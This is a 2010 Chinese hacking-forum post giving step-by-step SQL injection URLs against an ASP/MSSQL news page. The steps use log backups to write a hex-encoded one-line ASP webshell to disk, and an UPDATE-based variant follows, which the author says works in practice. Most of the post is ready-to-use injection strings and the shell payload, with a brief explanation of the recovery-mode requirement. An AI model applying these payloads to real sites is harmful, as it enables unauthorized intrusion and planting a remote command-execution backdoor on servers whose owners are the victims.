WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 2315查看
  • 1回复

主题

好友

484

积分

中级会员

发表于 2010-2-11 13:41:14 |显示全部楼层
现在我们大部分同志备份拿WEBSHELL都是使用工具,下面来看看我们经常使用的方法

第 一 步:
http://192.168.0.2/news.asp?id=1;create table [dbo].[shit_tmp] ([cmd] [image])--
第 二 步
http://192.168.0.2/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
第 三 步
http://192.168.0.2/news.asp?id=1;insert into [shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
第 四 步
http://192.168.0.2/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate--
第 五 步
http://192.168.0.2/news.asp?id=1;Drop table [shit_tmp]--

第一步建表,第二步备份之前的数据,相当于下一个断点,第三步插入数据,第四步再次差异备份,得到WEBSHELL第五步,删除表

先来分析一下这种方法,差异备份其实备份的并不是数据,而是备份对表操作的SQL语句,比方说上面这个方法他备分得到的小马来源并不是来源于数据,而是来源于第三步的语句,第三步中呢重点又在于后面的小马,并不在于方法,所以我也就想到了在利用UPDATE来代替INSERT

得用update的好处在于省略了第一步和第五步,坏处在于,你需要找一张表来代替新建的表,

第 一 步
http://192.168.0.2/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
第 二 步
http://192.168.0.2/news.asp?id=1;update tablename set col1=(0x3C25657865637574652872657175657374282261222929253E) where id=1--
第 三 步
http://192.168.0.2/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate--

得用update在实际情况中测试已经通过

这个还是log备份,很多同学喜欢把log跟差异混为一谈
再来说说这个方法,理论上是可行的,但是很多同学貌似喜欢忽略掉log备份最开始有一句 alter database XXXX set RECOVERY FULL
最开始提出log备份那个大牛说过了: 默认的情况是,一般选择的数据库故障还原类型都是简单,这时候不能够对日志文件进行备份。所以需要修改数据库的还原模式,否则备份是不会成功的

能alter database了肯定是dbowner,不大可能没有建表的权限。如果遇到那么BT的点的话,mssql里面倒有一个现成的表可以当临时表用

主题

好友

46

积分

禁止访问

发表于 2010-3-16 15:15:08 |显示全部楼层
提示: 该帖被管理员或版主屏蔽
回复

使用道具 举报

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-4-29 04:47 , Processed in 0.059345 second(s), 16 queries .

返回顶部